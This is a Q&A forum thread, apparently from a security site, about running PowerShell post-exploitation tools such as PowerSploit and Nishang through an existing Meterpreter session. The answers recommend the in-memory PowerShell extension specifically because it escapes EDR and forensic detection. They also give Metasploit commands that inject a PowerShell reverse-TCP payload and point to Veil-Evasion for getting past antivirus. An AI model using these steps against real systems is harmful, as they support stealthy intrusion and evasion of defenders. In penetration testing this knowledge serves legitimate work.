1

I have aquestion i tried to answer myself without much success. I love all the powershell script provided for post exploitation purposes -> Powersploit; Nishang etc... My only problem is that i can't find any easy way to use them inside a meterpreter session.

Correct me if i m wrong, but there is no way to have an "interactive" powershell from a shell (meterpreter). I can't find any other solution than converting the script to Base64 encoding and call functions (encoded too) one by one through the cmd command.

What I would like to do (if it is possible in any manner) is to have an interactive shell from an already established meterpreter session (sometimes getting this is a real challenge if you consider that you have to evade IDS, AV, sandbox, etc).

Is there any solution for that?

3

Use the Metepreter PowerShell Extension. In this case, your PowerShell will run in-memory without shelling out. If you shell out, then cmdscan or consoles in Volatility or Rekall (or any similar technique, which every EDR and DFIR tool utilizes) will flag the process space and deliver obvious results of compromise.

  • thanks its very good, i think this is the solution too, but after updating kali and metasploit i dont have powershell extension in my extensions :( – r4ym0nd PenTester Jun 18 '16 at 4:46
  • 1
    my msfconsole says version 4.12.7-dev-7cdadca and the lib/rex/post/meterpreter/extensions/powershell/powershell.rb subdirectory and file is available under my metasploit-framework root – atdre Jun 18 '16 at 6:51
2

If you have a meterpreter session already, put it into the background with background.

Then do:

use exploit/windows/local/payload_inject
set payload windows/powershell_reverse_tcp
set session <id of session>
set <other options you may need>
run

Then you will have a Powershell session alongside the meterpreter. It's still not perfect (no tab completion) but it gives you output from commands.

0

you can use the powershell once you get meterpreter shell. Just you have to interact to meterpreter and then type shell command and then powershell >

Here now you have powershell command do what ever you want.

For evanding the AV for easy method you can use Veil-Evasion tool https://github.com/Veil-Framework/Veil-Evasion

  • 1. when you type powershell in metrerpreter shell, you dont give an interactive powershell, i tested it, dosent work – r4ym0nd PenTester Jun 14 '16 at 10:18
  • 1
    2. i know veil and i get my meterpreter from it, but now i want to run powershell commands interactively without getting cought by anti virus. – r4ym0nd PenTester Jun 14 '16 at 10:20

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.